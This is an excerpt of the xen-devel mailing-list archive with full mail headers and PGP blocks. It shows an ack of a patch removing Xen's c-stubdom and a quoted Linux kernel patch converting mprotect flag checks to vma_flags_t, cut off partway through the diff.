Z2UuIFRoaXMgaXNuJ3QgdHJ1ZSwNCj4+IGhvd2V2ZXIsIGlmIHBhc3NpbmcgdGhlIG5ldyBl
ZmZlY3RpdmUgYWZmaW5pdHkgYmFjayB0byB0aGUgdXNlciBpcw0KPj4gZmFpbGluZy4NCj4g
DQo+IFRoYXQnbGwgYmUgdGhlIGNhbGxlcidzIGZhdWx0IHRob3VnaC4gQW55IC1FRkFVTFQg
Y29taW5nIGJhY2sgYXJlIGFuDQo+IGluZGljYXRpb24gdGhhdCB0aGUgY2FsbGVyIG5lZWRz
IGZpeGluZy4NCg0KVGhlIHBvc3NpYmxlIC1FTk9NRU0gaXNuJ3QgdGhlIGNhbGxlcnMgZmF1
bHQsIHRob3VnaC4NCg0KDQpKdWVyZ2VuDQo=
--------------JmJaX0lAzmNAk3fszHAkFwwL
Content-Type: application/pgp-keys; name="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Disposition: attachment; filename="OpenPGP_0xB0DE9DD628BF132F.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsBNBFOMcBYBCACgGjqjoGvbEouQZw/ToiBg9W98AlM2QHV+iNHsEs7kxWhKMjri
oyspZKOBycWxw3ie3j9uvg9EOB3aN4xiTv4qbnGiTr3oJhkB1gsb6ToJQZ8uxGq2
kaV2KL9650I1SJvedYm8Of8Zd621lSmoKOwlNClALZNew72NjJLEzTalU1OdT7/i
1TXkH09XSSI8mEQ/ouNcMvIJNwQpd369y9bfIhWUiVXEK7MlRgUG6MvIj6Y3Am/B
BLUVbDa4+gmzDC9ezlZkTZG2t14zWPvxXP3FAp2pkW0xqG7/377qptDmrk42GlSK
N4z76ELnLxussxc7I2hx18NUcbP8+uty4bMxABEBAAHNHEp1ZXJnZW4gR3Jvc3Mg
PGpnQHBmdXBmLm5ldD7CwHkEEwECACMFAlOMcBYCGwMHCwkIBwMCAQYVCAIJCgsE
FgIDAQIeAQIXgAAKCRCw3p3WKL8TL0KdB/93FcIZ3GCNwFU0u3EjNbNjmXBKDY4F
UGNQH2lvWAUy+dnyThpwdtF/jQ6j9RwE8VP0+NXcYpGJDWlNb9/JmYqLiX2Q3Tye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6Z4Mysln3nQK5ZadD
534CF7TDVft7fC4tU4PONxF5D+/tvgkPfDAfF77zy2AH1vJzQ1fOU8lYFpZXTXIH
b+559UqvIB8AdgR3SAJGHHt4RKA0F7f5ipYBBrC6cyXJyyoprT10EMvU8VGiwXvT
yJz3fjoYsdFzpWPlJEBRMedCot60g5dmbdrZ5DWClAr0yau47zpWj3enf1tLWaqc
suylWsviuGjKGw7KHQd3bxALOknAp4dN3QwBYCKuZ7AddY9yjynVaD5X7nF9nO5B
jR/i1DG86lem3iBDXzXsZDn8R3/CwO0EGAEIACAWIQSFEmdy6PYElKXQl/ew3p3W
KL8TLwUCWt3w0AIbAgCBCRCw3p3WKL8TL3YgBBkWCAAdFiEEUy2wekH2OPMeOLge
gFxhu0/YY74FAlrd8NAACgkQgFxhu0/YY75NiwD/fQf/RXpyv9ZX4n8UJrKDq422
bcwkujisT6jix2mOOwYBAKiip9+mAD6W5NPXdhk1XraECcIspcf2ff5kCAlG0DIN
aTUH/RIwNWzXDG58yQoLdD/UPcFgi8GWtNUp0Fhc/GeBxGipXYnvuWxwS+Qs1Qay
7/Nbal/v4/eZZaWs8wl2VtrHTS96/IF6q2o0qMey0dq2AxnZbQIULiEndgR625EF
RFg+IbO4ldSkB3trsF2ypYLij4ZObm2casLIP7iB8NKmQ5PndL8Y07TtiQ+Sb/wn
g4GgV+BJoKdDWLPCAlCMilwbZ88Ijb+HF/aipc9hsqvW/hnXC2GajJSAY3Qs9Mib
4Hm91jzbAjmp7243pQ4bJMfYHemFFBRaoLC7ayqQjcsttN2ufINlqLFPZPR/i3IX
kt+z4drzFUyEjLM1vVvIMjkUoJs=3D
=3DeeAB
-----END PGP PUBLIC KEY BLOCK-----

--------------JmJaX0lAzmNAk3fszHAkFwwL--

--------------yE7QNpFhXJ3EXiiZ6MI7lST4--

--------------sPrRxO3j4RhjJxr3HW9iP0V5
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsB5BAABCAAjFiEEhRJncuj2BJSl0Jf3sN6d1ii/Ey8FAmpFM28FAwAAAAAACgkQsN6d1ii/Ey+d
NQf+JC6prGWZ8sKBbSJnnBE/Wr7ccMwmGCGrQja5wKtxWKGc94IeyuGRI4WQ3jiaXideyuR/Eump
c2TETtVFEljYaN5C1WadK3RtIrq/TfrMMyALOZYso2MPt+ndcvoAlEkcccFSKblQZhT/ifjnZBOi
8rKH9jD8edYFDgGRoqZYwi+h1H3hr0cGpOEIKGgiv6U8x47D2klV4mU33Axgh3f2EjnCBkXq/sUA
sE0F1/P48BAU4V61mprOPwFePhvB1QNNi2TRyV5uen9vKfCHNjMC7Dos2kxN4YaztO8SJDXnXZrZ
MDuj/crts80EpM+ubzs+Ic0FOy0pZTrYpmBvHqVCPw==
=1zOU
-----END PGP SIGNATURE-----

--------------sPrRxO3j4RhjJxr3HW9iP0V5--


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 15:49:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 15:49:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350205.1607744 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexC8-0001N2-Tn; Wed, 01 Jul 2026 15:49:48 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350205.1607744; Wed, 01 Jul 2026 15:49:48 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexC8-0001Mv-QY; Wed, 01 Jul 2026 15:49:48 +0000
Received: by outflank-mailman (input) for mailman id 1350205;
 Wed, 01 Jul 2026 15:49:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wexC7-0001Mp-JZ
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 15:49:47 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wexC6-003vPF-Ca
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 17:49:46 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a453711-e002-0a2a0a5209dd-0a2a4501e270-16
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:49:46 +0200
Received: from [40.107.208.19]
 (helo=PH0PR06CU001.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a453717-400f-0a2a45010019-286bd0138a9f-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 17:49:44 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by SJ0PR03MB5805.namprd03.prod.outlook.com (2603:10b6:a03:2df::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Wed, 1 Jul 2026
 15:49:41 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0159.018; Wed, 1 Jul 2026
 15:49:41 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=G+LNIGdI8DRjVTkNwH9lCZtkEQKHauUXSnxgtw01x0+CLEyIsfV78D5UFutBMKz4sUc+ZeXSiUwqF9yJyereYVUDvwwVkzVPfrQLasc15UrxRGZYfal8Z4rrnrKDjkTbhRgZo5EHmVglR3VNyI6ZiJdT3XCxejAWt4LWvwtm5XmBHmXtP+paANkcAEEUOSS9U2nq8vTn+KY00ef6/AWWTBEh35yRuZU9nR6qkKJwpV1o1IrXEDUJS6798VDV7DsBACcMdQaJF56PGuzFOZm7snpNG0cuBHo5FO9WlpvoUxL6hEu9T+fBiCNvN27JR+cMmyt6tyEtITwlDPqjG03tvg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=1gKsCNQ5LpJgewCViFf6a2Fi0hn7CDK6/H43Ro6vcjc=;
 b=LMlZmxay5Pf8Gfh86EzR8wt6xstyAge9AXm0EJb8Zpr5RPWILwA8GHDfHPreGm33Nv18cc/JJn2+xaUwKbZhYy4fCDkxEDSYjiXcS3TxXQRizZtqsV5tp91NI0KS7dwPr3xZaKVpsCCbf7PBgAwRhKhJnATNiMCshDvE8tAjmHpvDse8F/MA+8/8HhFWW2qnM8ZvXpDNKRja+eWkOu3d6Xr93ZYKJ/EtW9fUzOGdGmoKtWm8V5EE2tsjron5W59Rdo5wrwMuWUEXEC7sMutzDwhGL2IpwDc+GcA+AG8Z+HTv9yOlkFy3A1M1Sr5tYxa6kGR/iOHzfFkiIADiOlM2Xw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=1gKsCNQ5LpJgewCViFf6a2Fi0hn7CDK6/H43Ro6vcjc=;
 b=qeWvOLGMBY1xq7EQDZB+CHgDJyTBq9lZFh3XBDb8QHK28kV2KS2exzGNg9NAJJsajODLr0XHQTpiMzyXKokK1g+Eb//olGx0WagLeL5rpnt+8SvZmfvBuqe2qcyZxA/pdQ6L/gDj6tsgjakQ+4/qKC8faILwnTphoxR0/5GcQC0=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <f4ae99d0-1c0b-4a8d-8420-e971996f6d8d@citrix.com>
Date: Wed, 1 Jul 2026 16:49:38 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: Re: [PATCH] stubdom: remove c-stubdom
To: Juergen Gross <jgross@suse.com>, xen-devel@lists.xenproject.org
References: <20260701144259.4077884-1-jgross@suse.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6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VD1HNf8bgaqGDzrv3TfYjwqayRFcMf7xJaL9xXedMcAEQEAAcLB
 XwQYAQgACQUCUuE2fwIbDAAKCRBlw/kGpdefoG4XEACD1Qf/er8EA7g23HMxYWd3FXHThrVQ
 HgiGdk5Yh632vjOm9L4sd/GCEACVQKjsu98e8o3ysitFlznEns5EAAXEbITrgKWXDDUWGYxd
 pnjj2u+GkVdsOAGk0kxczX6s+VRBhpbBI2PWnOsRJgU2n10PZ3mZD4Xu9kU2IXYmuW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <20260701144259.4077884-1-jgross@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-ClientProxiedBy: LO4P265CA0254.GBRP265.PROD.OUTLOOK.COM
 (2603:10a6:600:37c::18) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|SJ0PR03MB5805:EE_
X-MS-Office365-Filtering-Correlation-Id: 9333feeb-00a1-4c72-ca10-08ded7885d4c
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|1800799024|23010399003|376014|56012099006|11063799006|22082099003|18002099003;
X-Microsoft-Antispam-Message-Info:
	T3NHbcjUug2ONyrzNeycljCaHaa2Ed2ab7JWJ/izKx6ByUax7E4dxZUZawl/h/3xf/oD0sKxW7/R6j5CMftGk6UzD5NQ7+zAGjdM5d3Zw88F4vijEaMfmoq6umIdUH1LmH2C7XkfsZyZ4I6n3N45jWejqMJd1DvmWD4l+ASnHiPhmBIkNs6qX/kXRht6RuwIu3oUv6Zn7QSqS2TcuZkCQym4SG5LEhY7WL6MxYwiS5UvPQjPFadzic+yByt/0Hucpv6twNR61mcK5iFdc50bnhmIj00JtEBQY4dfREtcXhKctljc84bcUrsGqFT1OQAqHP4eIZlXU7W6fljhpwMhgFseRP+VilygILmQZFjGQ7VDZGn1XJwGqxt9HC3Ks4whbK9nK7eSuuAbGSjZ7EvU6Az8RqTk4rTO7NOXDnqM1ytiReg4sK0Fpnk/Ryu8b1Ohe0WEukNZTHTDuSM6DuAHrL8BRfXMi5F1xwCNLzeSSfDa8tBQ0bp8831QUPO0eTbSGs/hpw3LrRkNxKin7fnARyl4X74i7WHbSj0XqADK8QfhMpr9l3hzwvpTi1rTz4F1R/5B26NaFnentuBSSLoZ4OoBef9SYROJGhdHS1wD3/B42NAy0WwGHamE5x7NhJSkg74KoqpnljtN9v8SV6rmVOuC4y4gS0bQ4V2CymBBcEA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(366016)(1800799024)(23010399003)(376014)(56012099006)(11063799006)(22082099003)(18002099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-Message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8?B?Nkp2eEV4WkdBdHFKT3hlT0VIMDlTZ0RXalVJdGxaZmordUwxVTJTcXlOTmZx?=
 =?utf-8?B?VXJDOHFYZEpWbUkxUnZBTXU5cVFTR29aS0FKSGhjblFpaTRQbUVxVTE3Ump1?=
 =?utf-8?B?OEVVU0JsVnZrOHF4ZVZHd0FRbnJLSzJEdnppaGlXMnEwQnhFWWtuemc4T2My?=
 =?utf-8?B?cDFJRlptcHZXVzdEVEYyRTNJN1VKYitnNGlvbXhiNnRzMFdmanlCeWxhbSs4?=
 =?utf-8?B?Sjd6WDZDYTJyTXdEcnhqZXZYei9HWVEzUTRLczZqVlFMMVR2ZFhsTmxlYjE5?=
 =?utf-8?B?dFdRS2RwQUNSQWZhbnpjNzRKbm9jVmdyaTUzUGhFbFZMaHpUS1FmcFZPYVVO?=
 =?utf-8?B?OGcydWpaVnVHZVc5R0JySmdSUTh4KzM4M09JTGgrclVSbmdmcFlkZEFTenY4?=
 =?utf-8?B?Wi82bkxuQmNHWldLQUZNcDZIRllLRjA3U3dqdGNQMkhvQ2QvS0FqdzNSanNO?=
 =?utf-8?B?TGRLYmh2OVREUEhEZlhLODdJandLcXVXZnM3TVRKaTBlK3FpQVZrZFhWcXYr?=
 =?utf-8?B?SEJqazR0VFdBTFg1R0E4Q0RRN0FEcU1IdVlhbFMvVEFyMm5lU2UzMFBtcUpy?=
 =?utf-8?B?Q3J6TDNYSVdiZVBmdFo5YUVubkhyODRENkJSa3pNQy80L1N3U1N6cFZrc1FM?=
 =?utf-8?Q?2G8haQwhYfOFa6NA=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 9333feeb-00a1-4c72-ca10-08ded7885d4c
X-MS-Exchange-CrossTenant-AuthSource: IA1PR03MB8288.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 01 Jul 2026 15:49:41.5046
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: uaEi7DFk0yB6fkSCJ4jhGTrz1nAM0u+J7mJLEUsErTpN5o6I1ksARzs0ubteyP/vnFIwUO3KXig9Z4X6pMUjiC2oPZYykaM7XE0boOKSKJQ=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR03MB5805
X-purgate-ID: tlsNG-d62444/1782920985-D04D51E0-38BF478C/0/0
X-purgate-type: clean
X-purgate-size: 894

On 01/07/2026 3:42 pm, Juergen Gross wrote:
> C-stubdom was meant as a base for building new Mini-OS based stubdoms.
> It hasn't seen any work for many years now and creating new stubdoms
> should use UNIKRAFT instead of Mini-OS.
>
> So remove c-stubdom.
>
> Signed-off-by: Juergen Gross <jgross@suse.com>

I didn't even realise we had one of these...

Acked-by: Andrew Cooper <andrew.cooper3@citrix.com>

> ---
>  stubdom/Makefile     | 19 -------------------
>  stubdom/c/Makefile   | 13 -------------
>  stubdom/c/main.c     |  8 --------
>  stubdom/c/minios.cfg |  2 --
>  stubdom/configure    | 44 --------------------------------------------
>  stubdom/configure.ac |  1 -
>  6 files changed, 87 deletions(-)
>  delete mode 100644 stubdom/c/Makefile
>  delete mode 100644 stubdom/c/main.c
>  delete mode 100644 stubdom/c/minios.cfg

CHANGELOG.md too.

~Andrew


From xen-devel-bounces@lists.xenproject.org Wed Jul 01 16:09:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 01 Jul 2026 16:09:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1350222.1607752 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexVT-0006Js-De; Wed, 01 Jul 2026 16:09:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1350222.1607752; Wed, 01 Jul 2026 16:09:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wexVT-0006Jl-Ax; Wed, 01 Jul 2026 16:09:47 +0000
Received: by outflank-mailman (input) for mailman id 1350222;
 Wed, 01 Jul 2026 16:09:46 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <lance.yang@linux.dev>) id 1wexVR-0006Je-48
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 16:09:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wexVP-004NWc-Q4
 for xen-devel@lists.xenproject.org; Wed, 01 Jul 2026 18:09:43 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a453bc5-2eae-0a2a0a5409dd-0a2a4501ad46-6
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 18:09:43 +0200
Received: from [91.218.175.177] (helo=out-177.mta0.migadu.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <lance.yang@linux.dev>)
 id 6a453bc6-400f-0a2a45010019-5bdaafb14fbb-3
 for <xen-devel@lists.xenproject.org>; Wed, 01 Jul 2026 18:09:42 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=key1 header.d=linux.dev header.i="@linux.dev" header.h="From:Subject:Date:Message-Id:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
X-Report-Abuse: Please report any abuse attempt to abuse@migadu.com and include these headers.
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=linux.dev; s=key1;
	t=1782922180;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=32k3xy2qoDs5v558QiIXDOBJrw4XcLaI228zHYcvJQI=;
	b=GKsigi9jw5iEZkRAOu0U35OCwwNX+WFYQBJnw1VnjqCFwAV1xkeG5HVPPXjVerUIFCpvkl
	1sYFG/+4cZNO5RnH+3ZGNEajZyzEn2vDXqeNcTTch6ZM0ZT3P4Eo/8D1DaouN8eSB+B2FA
	bvbtO9Gx6J4K8rZ0y4m06I1Z9Hu4ibM=
From: Lance Yang <lance.yang@linux.dev>
To: ljs@kernel.org
Cc: akpm@linux-foundation.org,
	tsbogend@alpha.franken.de,
	maddy@linux.ibm.com,
	mpe@ellerman.id.au,
	maarten.lankhorst@linux.intel.com,
	mripard@kernel.org,
	tzimmermann@suse.de,
	airlied@gmail.com,
	simona@ffwll.ch,
	l.stach@pengutronix.de,
	inki.dae@samsung.com,
	sw0312.kim@samsung.com,
	kyungmin.park@samsung.com,
	krzk@kernel.org,
	peter.griffin@linaro.org,
	jani.nikula@linux.intel.com,
	joonas.lahtinen@linux.intel.com,
	rodrigo.vivi@intel.com,
	tursulin@ursulin.net,
	robin.clark@oss.qualcomm.com,
	lumag@kernel.org,
	lyude@redhat.com,
	dakr@kernel.org,
	tomi.valkeinen@ideasonboard.com,
	hjc@rock-chips.com,
	heiko@sntech.de,
	andy.yan@rock-chips.com,
	thierry.reding@kernel.org,
	mperttunen@nvidia.com,
	jonathanh@nvidia.com,
	kraxel@redhat.com,
	dmitry.osipenko@collabora.com,
	zack.rusin@broadcom.com,
	matthew.brost@intel.com,
	thomas.hellstrom@linux.intel.com,
	oleksandr_andrushchenko@epam.com,
	deller@gmx.de,
	bcrl@kvack.org,
	viro@zeniv.linux.org.uk,
	brauner@kernel.org,
	muchun.song@linux.dev,
	osalvador@suse.de,
	david@kernel.org,
	ziy@nvidia.com,
	baolin.wang@linux.alibaba.com,
	liam@infradead.org,
	npache@redhat.com,
	ryan.roberts@arm.com,
	dev.jain@arm.com,
	baohua@kernel.org,
	lance.yang@linux.dev,
	hughd@google.com,
	vbabka@kernel.org,
	rppt@kernel.org,
	surenb@google.com,
	mhocko@suse.com,
	jannh@google.com,
	pfalcato@suse.de,
	kees@kernel.org,
	perex@perex.cz,
	tiwai@suse.com,
	linux-mips@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	dri-devel@lists.freedesktop.org,
	etnaviv@lists.freedesktop.org,
	linux-arm-kernel@lists.infradead.org,
	linux-samsung-soc@vger.kernel.org,
	intel-gfx@lists.freedesktop.org,
	linux-arm-msm@vger.kernel.org,
	freedreno@lists.freedesktop.org,
	nouveau@lists.freedesktop.org,
	linux-rockchip@lists.infradead.org,
	linux-tegra@vger.kernel.org,
	virtualization@lists.linux.dev,
	intel-xe@lists.freedesktop.org,
	xen-devel@lists.xenproject.org,
	linux-fbdev@vger.kernel.org,
	linux-aio@kvack.org,
	linux-fsdevel@vger.kernel.org,
	linux-mm@kvack.org,
	linux-sound@vger.kernel.org
Subject: Re: [PATCH 12/13] mm/mprotect: convert mprotect code to use vma_flags_t
Date: Thu,  2 Jul 2026 00:09:17 +0800
Message-Id: <20260701160917.91435-1-lance.yang@linux.dev>
In-Reply-To: <7ef626d8a12dc742cfc09d080be5dc09850e873a.1782760670.git.ljs@kernel.org>
References: <7ef626d8a12dc742cfc09d080be5dc09850e873a.1782760670.git.ljs@kernel.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Migadu-Flow: FLOW_OUT
X-purgate-ID: tlsNG-d62444/1782922183-816DB1E0-514658A3/0/0
X-purgate-type: clean
X-purgate-size: 4048


On Mon, Jun 29, 2026 at 08:25:35PM +0100, Lorenzo Stoakes wrote:
>Replace use of the legacy vm_flags_t flags with vma_flags_t values
>throughout the mprotect logic.
>
>Note that we retain the legacy vm_flags_t bit shifting code in
>do_mprotect_key(), deferring a vma_flags_t approach to this for the time
>being.
>
>Additionally update comments to reflect the changes to be consistent.
>
>No functional change intended.
>
>Signed-off-by: Lorenzo Stoakes <ljs@kernel.org>
>---
> mm/mprotect.c | 16 ++++++++--------
> 1 file changed, 8 insertions(+), 8 deletions(-)
>
>diff --git a/mm/mprotect.c b/mm/mprotect.c
>index 9cbf932b028c..c9504b2a2525 100644
>--- a/mm/mprotect.c
>+++ b/mm/mprotect.c
>@@ -40,7 +40,7 @@
> 
> static bool maybe_change_pte_writable(struct vm_area_struct *vma, pte_t pte)
> {
>-	if (WARN_ON_ONCE(!(vma->vm_flags & VM_WRITE)))
>+	if (WARN_ON_ONCE(!vma_test(vma, VMA_WRITE_BIT)))
> 		return false;
> 
> 	/* Don't touch entries that are not even readable. */
>@@ -97,7 +97,7 @@ static bool can_change_shared_pte_writable(struct vm_area_struct *vma,
> bool can_change_pte_writable(struct vm_area_struct *vma, unsigned long addr,
> 			     pte_t pte)
> {
>-	if (!(vma->vm_flags & VM_SHARED))
>+	if (!vma_test(vma, VMA_SHARED_BIT))
> 		return can_change_private_pte_writable(vma, addr, pte);
> 
> 	return can_change_shared_pte_writable(vma, pte);
>@@ -194,7 +194,7 @@ static __always_inline void set_write_prot_commit_flush_ptes(struct vm_area_stru
> {
> 	bool set_write;
> 
>-	if (vma->vm_flags & VM_SHARED) {
>+	if (vma_test(vma, VMA_SHARED_BIT)) {
> 		set_write = can_change_shared_pte_writable(vma, ptent);
> 		prot_commit_flush_ptes(vma, addr, ptep, oldpte, ptent, nr_ptes,
> 				       /* idx = */ 0, set_write, tlb);
>@@ -811,8 +811,8 @@ mprotect_fixup(struct vma_iterator *vmi, struct mmu_gather *tlb,
> 		vm_unacct_memory(nrpages);
> 
> 	/*
>-	 * Private VM_LOCKED VMA becoming writable: trigger COW to avoid major
>-	 * fault on access.
>+	 * Private VMA_LOCKED_BIT VMA becoming writable: trigger COW to avoid
>+	 * major fault on access.
> 	 */
> 	if (vma_flags_test(&new_vma_flags, VMA_WRITE_BIT) &&
> 	    vma_flags_test(&old_vma_flags, VMA_LOCKED_BIT) &&
>@@ -886,7 +886,7 @@ static int do_mprotect_pkey(unsigned long start, size_t len,
> 			goto out;
> 		start = vma->vm_start;
> 		error = -EINVAL;
>-		if (!(vma->vm_flags & VM_GROWSDOWN))
>+		if (!vma_test(vma, VMA_GROWSDOWN_BIT))
> 			goto out;
> 	} else {
> 		if (vma->vm_start > start)
